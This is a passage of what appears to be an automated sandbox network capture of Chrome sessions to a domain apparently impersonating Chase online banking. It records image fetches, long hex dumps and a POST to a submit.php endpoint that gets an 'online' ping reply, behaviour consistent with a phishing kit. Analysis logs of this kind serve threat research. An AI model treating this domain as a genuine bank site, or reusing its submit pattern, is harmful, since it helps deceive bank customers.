2024-12-20 00:17:14 UTC	16384	IN	Data Raw: 8a 0a 02 0b 0b 1d 0a 6f 67 0a 1d 0b 07 06 02 02 02 06 1b 0e 01 04 0d 0a 06 06 1c 0d fe fc 0a 0b 00 07 00 28 00 46 03 d8 03 3a 00 10 00 15 00 19 00 27 00 35 00 44 00 52 00 00 01 21 22 06 15 11 14 16 33 21 32 36 35 11 34 26 23 05 21 03 21 11 01 21 13 21 05 33 32 36 35 34 26 2b 01 22 06 15 14 16 17 23 22 06 15 14 16 3b 01 32 36 35 34 26 25 33 32 36 35 34 26 2b 01 22 06 15 14 16 33 17 23 22 06 15 14 16 3b 01 32 36 35 34 26 03 b5 fc 96 0e 15 15 0e 03 6a 0e 15 15 0e fc ba 01 61 03 fe a2 03 22 fe 83 02 01 7b fd 3c a5 0f 15 15 0f a5 0e 15 15 b3 a5 0e 15 15 0e a5 0f 15 15 01 0d a5 0e 15 15 0e a5 0f 15 15 0f a5 a5 0f 15 15 0f a5 0e 15 15 03 3a 15 0f fd 54 0f 15 15 0f 02 ac 0f 15 47 fd 9a 02 66 fd 9a 02 66 ec 15 0e 0f 15 15 0f 0e 15 8e 15 0e 0f 15 15 0f 0e 15 8e 15 Data Ascii: og(F:'5DR!"3!2654&#!!!!32654&+"#";2654&%32654&+"3#";2654&ja"{<:TGff
2024-12-20 00:17:14 UTC	4760	IN	Data Raw: 33 32 36 3d 01 21 15 14 16 33 32 36 3d 01 33 15 21 35 19 01 21 11 21 01 33 15 23 27 33 15 23 35 23 33 15 23 35 17 33 15 23 35 23 33 15 23 35 03 76 93 14 0e 0e 14 fe c2 14 0e 0e 14 93 0e 14 14 0e 02 ec 0e 14 14 0e fd 36 71 14 0e 0e 14 01 3e 14 0e 0e 14 71 fd 58 02 a8 fd 58 01 dc 72 72 cc 71 71 cc 71 71 cc 71 71 cc 71 71 03 31 2d 0e 14 14 0e 2d 2d 0e 14 14 0e 2d 14 0e fd 13 0e 14 14 0e 02 ed 0e 14 44 2e 0e 14 14 0e 2e 2e 0e 14 14 0e 2e b6 b6 fd 57 01 af fe 51 01 6b 71 71 71 71 71 71 b5 72 72 72 72 00 00 02 00 1b ff db 03 da 03 a5 00 29 00 4b 00 00 25 27 3e 01 35 34 27 2e 01 27 26 23 22 07 0e 01 07 06 15 14 17 1e 01 17 16 33 38 01 31 32 36 37 17 1e 01 33 32 36 37 36 34 27 25 22 27 2e 01 27 26 35 34 37 3e 01 37 36 33 32 17 1e 01 17 16 15 14 06 07 38 01 31 38 Data Ascii: 326=!326=3!5!!3#'3#5#3#53#5#3#5v6q>qXXrrqqqqqqqq1----D....WQkqqqqqqrrrr)K%'>54'.'&#"381267326764'%"'.'&547>7632818

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.4	49883	188.119.66.154	443	3180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:17:12 UTC	590	OUT	GET /content/wordmark-white.svg HTTP/1.1 Host: online.access.secure001.chase-business.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=kcal1ci3pcv6avg4qh6n1dhnv7; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
2024-12-20 00:17:13 UTC	253	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 00:17:13 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Wed, 31 Jan 2024 20:18:26 GMT ETag: "581-6104394d36880" Accept-Ranges: bytes Content-Length: 1409 Connection: close Content-Type: image/svg+xml
2024-12-20 00:17:13 UTC	1409	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 33 38 30 20 37 32 2e 32 22 3e 0a 09 09 3c 70 61 74 68 20 66 69 6c 6c 3d 22 23 46 46 46 46 46 46 22 20 64 3d 22 4d 33 35 36 2e 31 2c 31 6c 2d 32 32 2e 35 2c 30 63 2d 31 2e 34 2c 30 2d 32 2e 35 2c 31 2e 31 2d 32 2e 35 2c 32 2e 35 76 31 37 2e 34 48 33 37 37 4c 33 35 36 2e 31 2c 31 7a 22 2f 3e 0a 09 09 3c 70 61 74 68 20 66 69 6c 6c 3d 22 23 46 46 46 46 46 46 22 20 64 3d 22 4d 33 37 36 2e 32 2c 32 33 2e 36 68 2d 31 37 2e 34 76 34 35 2e 39 6c 31 39 2e 38 2d 32 30 2e 39 6c 30 2d 32 32 2e 35 43 33 37 38 2e 37 2c 32 34 2e 37 2c 33 37 37 2e 36 2c 32 33 2e 36 2c 33 37 36 2e 32 2c 32 33 2e 36 7a 22 2f 3e 0a 09 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 380 72.2"><path fill="#FFFFFF" d="M356.1,1l-22.5,0c-1.4,0-2.5,1.1-2.5,2.5v17.4H377L356.1,1z"/><path fill="#FFFFFF" d="M376.2,23.6h-17.4v45.9l19.8-20.9l0-22.5C378.7,24.7,377.6,23.6,376.2,23.6z"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.4	49884	188.119.66.154	443	3180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:17:13 UTC	601	OUT	GET /content/background.desktop.90018.jpeg HTTP/1.1 Host: online.access.secure001.chase-business.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=kcal1ci3pcv6avg4qh6n1dhnv7; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
2024-12-20 00:17:14 UTC	254	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 00:17:14 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Thu, 27 Jun 2024 13:06:42 GMT ETag: "42d27-61bdecd573c80" Accept-Ranges: bytes Content-Length: 273703 Connection: close Content-Type: image/jpeg
2024-12-20 00:17:14 UTC	16384	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 02 00 00 01 00 01 00 00 ff db 00 43 00 0a 07 07 08 07 06 0a 08 08 08 0b 0a 0a 0b 0e 18 10 0e 0d 0d 0e 1d 15 16 11 18 23 1f 25 24 22 1f 22 21 26 2b 37 2f 26 29 34 29 21 22 30 41 31 34 39 3b 3e 3e 3e 25 2e 44 49 43 3c 48 37 3d 3e 3b ff db 00 43 01 0a 0b 0b 0e 0d 0e 1c 10 10 1c 3b 28 22 28 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b 3b ff c0 00 11 08 04 38 07 80 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 Data Ascii: JFIFC#%$""!&+7/&)4)!"0A149;>>>%.DIC<H7=>;C;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8"}!1AQa"q2
2024-12-20 00:17:14 UTC	16384	IN	Data Raw: 7d a4 52 61 aa 72 a3 d2 90 a8 a2 e2 b1 07 cd eb 41 66 07 a9 a9 8a 8f ff 00 5d 1b 69 dc 56 21 de 69 7c c3 4f 28 0d 27 97 9a 34 0d 44 f3 0f ad 1e 61 f5 a0 c7 48 50 e2 8d 07 a8 ef 30 f4 a5 12 54 45 48 34 63 1d 68 b2 0b b2 6f 33 8a 5f 30 7a 54 1c fa d1 92 29 72 8f 99 96 04 82 9c 1c 55 5d c6 8d d4 b9 47 cc 5b dc 09 a5 c8 fa d5 50 fe f4 a1 c8 a5 ca 3e 62 ce e1 4b b8 55 71 21 ef 4b e6 7b d4 d8 7c c5 80 45 2d 57 df de 9c 1f 1d e8 b0 ee 4b 8a 31 51 ef a5 df 9a 45 5d 0f e9 47 5a 40 68 e9 48 77 17 34 1c 1a 40 68 cd 00 18 39 e6 8e b4 99 a2 80 17 1c 71 46 06 31 46 68 cf 3c d2 18 d6 5e 7b d2 04 a7 e6 8a 77 11 1e 08 a3 04 54 94 1c 51 70 22 db 4d c1 a9 48 a4 3c 51 70 23 c5 18 f4 a7 e2 82 b4 ee 2b 0c ef 41 f4 a7 05 14 a1 41 14 82 c3 3f 0a 29 fb 3a 51 b6 81 8c e2 8a 52 bc Data Ascii: }RarAf]iV!i\|O('4DaHP0TEH4cho3_0zT)rU]G[P>bKUq!K{\|E-WK1QE]GZ@hHw4@h9qF1Fh<^{wTQp"MH<Qp#+AA?):QR
2024-12-20 00:17:14 UTC	16384	IN	Data Raw: 8a 28 a0 02 8a 28 a0 02 8a 28 a0 02 92 96 8a 40 25 14 b4 94 00 51 45 14 00 51 45 14 c0 4a 29 68 a0 04 a2 96 8a 00 4a 29 69 28 00 a2 8a 28 00 a4 a5 a2 80 12 8a 5a 28 01 28 c5 14 50 01 45 14 50 01 49 4b 45 00 25 18 a5 a2 80 12 8a 5a 28 01 28 a5 a4 a0 04 a2 96 8a 00 29 29 68 a0 04 a2 96 8a 00 4a 28 a2 80 0a 28 a2 80 12 8a 5a 28 01 31 45 14 b4 08 6d 14 b4 50 02 62 8a 5a 28 01 28 a5 a4 a0 02 92 96 8a 00 31 49 4b 45 03 12 8c 52 d1 40 09 46 29 68 a4 02 62 8c 52 d1 40 58 4c 52 62 96 8a 60 26 28 c5 2d 14 82 c2 62 8c 52 d1 4c 2c 37 14 62 9d 49 40 86 e2 97 14 b4 50 03 71 46 29 d4 50 03 68 c5 2d 14 5c 06 d1 4e a4 a0 04 a4 a7 62 8c 50 03 68 a5 a2 80 12 92 9d 8a 28 01 b4 53 a9 28 00 a2 8a 28 18 52 52 d2 52 01 29 29 d4 62 98 86 d1 4b 49 40 09 45 2d 25 00 14 99 a2 8a 60 Data Ascii: (((@%QEQEJ)hJ)i((Z((PEPIKE%Z(())hJ((Z(1EmPbZ((1IKER@F)hbR@XLRb`&(-bRL,7bI@PqF)Ph-\NbPh(S((RRR))bKI@E-%`
2024-12-20 00:17:14 UTC	16384	IN	Data Raw: 76 99 37 b1 e9 95 a6 22 63 22 0f ba 70 7b f1 4c 6d 80 83 e6 1c f5 e9 81 46 d2 1c 28 0a 09 e9 83 4e f2 09 23 79 fa 8c 74 a4 31 b2 4b 10 e1 f0 3b d0 ae 81 7e 56 04 1a 36 c4 78 24 92 bd f1 4e 47 56 cb 46 18 e3 a8 c5 00 29 6c f4 20 7e 34 85 80 4f 94 e4 8e 0f b5 44 67 40 d8 28 c9 ee c0 71 44 ac ca ad b3 7b 86 fe e8 14 5c 07 19 84 6c 03 1d bd b9 1d 69 ec 78 18 24 7d 3b d4 2a ea 58 29 60 a7 dc 83 52 1b 73 26 33 26 7f dd 3d 28 b8 0b bb 27 3c e4 71 d3 34 85 bb 29 c7 d4 52 2a 34 64 fe ed ca e7 9e 99 34 f1 24 6e 46 44 8a 47 fb 34 5c 06 85 24 f2 e1 b1 d8 0a 79 25 8f ca c0 03 d4 1a 47 99 00 da 51 b3 eb 8c 54 61 e4 de 18 46 48 ef b8 f3 40 0a 0b 11 84 e4 8e f8 a7 2b c9 ce 41 03 14 8c 44 5f 2a 46 e4 31 ce 45 44 2e dc 13 8b 76 c0 3d 41 fe 94 01 37 cc c3 a0 2d 9e a7 ad 29 Data Ascii: v7"c"p{LmF(N#yt1K;~V6x$NGVF)l ~4ODg@(qD{\lix$};X)`Rs&3&=('<q4)R4d4$nFDG4\$y%GQTaFH@+AD_*F1ED.v=A7-)
2024-12-20 00:17:14 UTC	16384	IN	Data Raw: e1 5c 74 22 d8 c1 f2 e5 42 9f 99 89 24 e6 a5 f3 a3 74 c3 c4 c2 35 19 66 07 8a b5 3e 8f 62 1c 53 d5 1e 8c d3 a0 e0 30 cf d7 ad 27 9e 3b 02 c4 76 15 c2 d9 f8 96 4b 14 f2 d3 6c a9 fc 22 40 4e 3f 1a df 87 c6 3a 74 db 55 a2 78 dc 8e 49 e9 9f ad 68 a3 7f 84 cd bb 6e 6c ad ce 5f 1b 08 a7 09 72 4e 10 9a cc 8f 52 89 dc ef 61 1c 78 e3 03 39 a9 a3 d5 22 3b 94 4a 04 67 d0 7c c6 97 2b 0b a2 f1 94 ae 01 53 93 da 9a 27 0c 3a 1f a1 15 9b 36 ab 1c 59 68 e2 27 03 a9 6e b5 11 d6 e4 1b 5a 30 ab ea 18 75 a2 dd c6 9d cd 66 99 b3 f2 a3 7e 02 8f 39 c6 7e 42 6b 9d bb d7 e6 7d cc d2 2c 60 03 c2 af 26 b2 66 d7 6e 9c 6e 37 2f 92 7b 1a 34 ee 16 67 6f e7 72 04 8c 91 93 d9 9b 9a a9 71 aa db db 38 49 27 42 7d 8e 6b 86 97 53 9a 46 cb 48 58 8e f9 e6 ab 29 b9 be b8 11 44 1d dd ba 10 7a 54 Data Ascii: \t"B$t5f>bS0';vKl"@N?:tUxIhnl_rNRax9";Jg\|+S':6Yh'nZ0uf~9~Bk},`&fnn7/{4gorq8I'B}kSFHX)DzT
2024-12-20 00:17:14 UTC	16384	IN	Data Raw: ba 16 f1 11 f2 c4 8b f3 7d 31 59 4b aa 6a 29 0b 46 11 e4 de 30 49 52 c4 fb 66 a7 d3 9e fc ca 90 47 67 0a 13 c9 dd 18 04 7b e4 d1 60 b9 5a 7c 09 91 ad ed 64 91 40 e4 ca bd 4f e1 48 f7 7a b2 87 89 3f d1 e3 7c 7c 81 40 3f a5 6e df c9 6b 6a 0a cd 7a 04 8c 39 11 2e 71 59 29 7d 65 e6 e5 8c c4 a8 e1 8b 73 f8 53 57 7d 04 f4 26 8e fc 5b 58 79 6e c2 79 0f de 2b 0e 31 f5 26 99 6b e6 5f 93 2d c1 cc 30 8c b2 97 db 9f 61 55 26 be 92 70 7c bb 36 09 db 24 9a ab ba 56 38 0a 14 ff 00 74 91 54 90 ae 68 cf 75 14 ea 51 50 db c6 a7 80 bd 4f d6 a8 35 d5 c0 00 2b ab 00 78 3d ea 6b 5b 27 9e 64 8b cc c3 1e 8a bc d4 f2 5b bd bc a6 29 23 84 67 8d d2 0a 34 5a 06 a5 7b 34 12 cc 4c c5 54 37 52 fd 05 4c d7 3f 3b 22 0f 32 32 70 0e ed bf 95 5a 93 47 f3 21 59 20 b8 46 66 ce 16 3c 6d 5f c6 Data Ascii: }1YKj)F0IRfGg{`Z\|d@OHz?\|\|@?nkjz9.qY)}esSW}&[Xyny+1&k_-0aU&p\|6$V8tThuQPO5+x=k['d[)#g4Z{4LT7RL?;"22pZG!Y Ff<m_
2024-12-20 00:17:14 UTC	16384	IN	Data Raw: 24 83 3c a7 b5 4c d6 53 4d 6a 7e cf 3c 61 c7 21 90 63 06 b3 6d b5 1d 42 3b 8f 2e 54 8e 70 bd db 18 3f 8d 66 b5 d8 a6 69 69 37 5a 63 c8 4f 91 b1 cf 03 72 9c d4 f7 d7 fa 5c 00 c4 53 e6 f4 45 c9 a0 dc 41 75 66 5d a5 8e 09 87 d0 e2 b9 fb d8 2f 19 bc e3 33 ca b8 fb c8 e3 8f c0 50 92 6f 50 6d a5 a1 0d d5 d0 99 9f ca 96 4d 83 f8 4f 15 02 ce b2 10 b3 7c c0 74 05 79 a4 8d ee cb 04 5d d2 16 38 c6 dc 93 5d 4d 96 91 3c 10 ab 4b 1c 6a c7 aa 80 37 0f c6 b4 94 94 51 0a 2d 94 6d f5 1b 1d 3e 1c 24 65 24 e0 ed 65 e7 f3 35 7a d3 57 b4 b8 07 ed 13 2c 5b b8 01 58 92 7f 1e d5 9b 7e 96 df 6c fd e5 a7 0a 70 46 09 24 fd 69 22 8a e2 36 0d 69 64 63 62 38 22 3e 41 fc 6a 2c 9a 29 5c dd bc 8f 4c 16 cc b3 98 f6 3a f5 6e 5a b9 65 86 cd 24 64 ce e8 db ee 38 38 db f9 d6 c4 16 9a 95 c8 1f Data Ascii: $<LSMj~<a!cmB;.Tp?fii7ZcOr\SEAuf]/3PoPmMO\|ty]8]M<Kj7Q-m>$e$e5zW,[X~lpF$i"6idcb8">Aj,)\L:nZe$d88
2024-12-20 00:17:14 UTC	16384	IN	Data Raw: dd ef 8a 92 2b 28 23 60 d7 17 64 2f 7f 2f 93 55 ea 48 17 b6 53 b5 1c 38 3d 00 6e 7f 12 69 b7 93 2d ba 87 8e c8 33 e3 82 e3 3f ad 4d 1d b5 8c a3 31 89 08 66 e1 8a e4 01 ee 6b 53 ec 7a 55 8d ba 1d c6 53 27 f7 a4 c2 d3 6e dd 04 91 ca 47 2d d5 c4 85 d6 16 c9 39 21 57 20 55 a5 d3 66 e2 49 ac d8 03 ce 71 8a d6 b8 bb 26 1c 5a df 22 04 e8 a8 81 47 e0 6b 32 49 2e e4 c8 33 33 ee ea 4b e6 a9 5d 89 d8 8f c8 86 23 91 01 27 df 90 29 3e d5 71 b8 08 c1 1e 80 2d 58 8e da 4f e2 91 57 db 39 35 66 38 92 2c 12 93 ca c3 9c 01 81 f9 9a 2f 60 b1 96 2c ee 98 92 b0 49 83 ce 4f 19 a1 ad 24 ce d7 44 04 f6 c8 ad ab f4 8e e5 15 8b bc 44 70 23 c1 38 fc a9 d6 f6 10 69 a1 6e 6f 0c 60 30 f9 44 9f 78 fd 17 fc 69 73 0e c5 1b 6f 0d 5d 48 ca cf 24 48 a4 64 01 c9 ab 92 e8 6d 09 2b 6f 24 6a 50 Data Ascii: +(#`d//UHS8=ni-3?M1fkSzUS'nG-9!W UfIq&Z"Gk2I.33K]#')>q-XOW95f8,/`,IO$DDp#8ino`0Dxiso]H$Hdm+o$jP
2024-12-20 00:17:15 UTC	16384	IN	Data Raw: fc aa 7a 0f c2 b4 94 ac 42 46 27 f6 25 ba 33 6f 66 c0 1c 16 61 c9 fc 2a 58 74 bb 38 a3 17 13 45 ba 05 fb cd 9c 66 ab c5 73 ac 49 2b c2 2d 24 69 09 e4 6c c1 5a ba 2c 75 46 87 fd 36 57 88 11 d3 70 6f d2 93 7e 60 97 91 25 de a1 67 0c 49 1d b4 69 e5 8e 42 c7 80 0f d6 b3 46 a1 6a 26 26 4d 36 27 07 a1 2a 32 be fe f5 5d e1 86 da 50 c8 e5 d4 76 60 41 3f 5a b9 63 7d 33 4c ce 6c 7e d0 a0 00 09 18 0b ef cd 3b 2b 03 6c 95 77 de 4c ad 1e 0a 02 38 f2 f0 a2 b4 2e ec 18 05 dd 7e 09 6e 8a b1 8d aa 2a 0b bf 10 28 8c db db a8 b7 3d 0c 8e c3 f1 c0 15 9d 3e bb 0f 97 e5 44 8d 20 ee ce 7e f7 e1 45 a4 c2 e8 d2 fe c5 4b 7b 77 b9 91 bc e2 06 e5 8d 47 de 3d aa 09 d6 f0 c2 8f 69 6e b1 32 ae 5c c9 f2 f3 f8 d6 7a eb a1 72 cf 1c b3 31 e8 1a 4c 2a fe 02 ab cd ab 3d c0 2c e9 93 8c 01 9c Data Ascii: zBF'%3ofaXt8EfsI+-$ilZ,uF6Wpo~`%gIiBFj&&M6'2]Pv`A?Zc}3Ll~;+lwL8.~n(=>D ~EK{wG=in2\zr1L=,
2024-12-20 00:17:15 UTC	16384	IN	Data Raw: ad 77 6d 05 c5 97 96 9f bb 50 32 08 ae 72 6c dd cb e7 d9 c7 32 03 dc 67 93 53 da 58 5f 4b 36 d1 70 d9 c7 47 c8 c5 0d 2d ee 24 cb 36 1e 74 72 fc ee 62 84 1e ed c9 ad 06 ba 91 41 68 a0 fb 43 13 91 bc 85 0a 2a cc 1a 1d b2 c3 be ed 83 e0 ee eb 81 9f 5a cb bc d5 ad 63 99 d2 22 c4 2f 4c 2f 06 a7 59 31 b6 a2 49 79 7b 71 12 07 8a 38 d4 1e c4 13 cd 24 7a be f8 d7 cc b8 8e 37 f7 4d c2 b2 9b 59 9a 49 07 96 02 63 a8 23 20 d4 e9 6e fa 9b 61 13 6b 1e ea 38 ab e5 b2 d4 9b df 62 0b ad 42 79 27 f9 6e 18 00 7b 1f 94 d5 7f 36 5b 79 fc c4 93 76 4e 73 52 5e 69 e6 d8 96 86 5f 35 14 ed 6f 55 34 c8 ad 5a ea 32 d0 f2 cb d8 9a d1 35 6b 91 6d 4e 97 4c ba 92 6b 60 ec 3b e3 39 ce 6a ce e3 82 5b 20 8f 4a e7 f4 76 97 cd 6b 66 46 f9 b8 6e 39 5f 7a d5 3a 14 70 cd e6 c7 3c ca bd 4a b3 64 Data Ascii: wmP2rl2gSX_K6pG-$6trbAhC*Zc"/L/Y1Iy{q8$z7MYIc# nak8bBy'n{6[yvNsR^i_5oU4Z25kmNLk`;9j[ JvkfFn9_z:p<Jd

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.4	49885	142.250.181.110	443	3180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:17:14 UTC	684	OUT	GET /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=520=SDgQc-ORScP8PqJyqKLTb8fHtbf_81MUwDTAeiaM5dWA4VIDj8QdiyFho1--ZJgUt_p7fMmZ1uPOlcRGiz2x4NKXhI7ppSc3mnz9fcwe6Sli5XSFjhTw7yxIzccH_9aTSpCI3-TrfCSjnG9jozhEZIHCgazyG_WKGyEhwOACXdAi4yC2iqS-8xuoLJmu4HY
2024-12-20 00:17:15 UTC	270	IN	HTTP/1.1 400 Bad Request Date: Fri, 20 Dec 2024 00:17:15 GMT Content-Type: text/html; charset=UTF-8 Server: Playlog Content-Length: 1555 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-12-20 00:17:15 UTC	1120	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 30 20 28 42 61 64 20 52 65 71 75 65 73 74 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 400 (Bad Request)!!1</title> <style> *{margin:0;padding:0}html,code{font:15px/22px arial,sans-
2024-12-20 00:17:15 UTC	435	IN	Data Raw: 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 2d 77 65 62 6b 69 74 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 31 30 30 25 20 31 30 30 25 7d 7d 23 6c 6f 67 6f 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 68 65 69 67 68 74 3a 35 34 70 78 3b 77 69 64 74 68 3a 31 35 30 70 78 7d 0a 20 20 3c 2f 73 74 79 6c 65 3e 0a 20 20 3c 61 20 68 72 65 66 3d 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 3e 3c 73 70 61 6e Data Ascii: pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:150px} </style> <a href=//www.google.com/><span

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.4	49887	188.119.66.154	443	3180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:17:16 UTC	943	OUT	POST /submit.php HTTP/1.1 Host: online.access.secure001.chase-business.com Connection: keep-alive Content-Length: 36 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded Accept: / Origin: https://online.access.secure001.chase-business.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://online.access.secure001.chase-business.com/web/auth/dashboard/dashboard/index/index Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=kcal1ci3pcv6avg4qh6n1dhnv7; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
2024-12-20 00:17:16 UTC	36	OUT	Data Raw: 75 70 64 3d 35 61 34 64 32 32 65 32 62 32 62 62 64 38 65 65 65 63 64 31 65 35 62 36 62 30 31 32 64 39 38 37 Data Ascii: upd=5a4d22e2b2bbd8eeecd1e5b6b012d987
2024-12-20 00:17:16 UTC	277	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 00:17:16 GMT Server: Apache/2.4.41 (Ubuntu) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Content-Length: 31 Connection: close Content-Type: text/html; charset=UTF-8
2024-12-20 00:17:16 UTC	31	IN	Data Raw: 7b 22 72 65 73 22 3a 22 6f 6b 22 2c 22 6d 73 67 70 69 6e 67 22 3a 22 6f 6e 6c 69 6e 65 22 7d Data Ascii: {"res":"ok","msgping":"online"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.4	49888	188.119.66.154	443	3180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:17:16 UTC	891	OUT	GET /content/chasefavicon.ico HTTP/1.1 Host: online.access.secure001.chase-business.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://online.access.secure001.chase-business.com/web/auth/dashboard/dashboard/index/index Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=kcal1ci3pcv6avg4qh6n1dhnv7; stp=0; 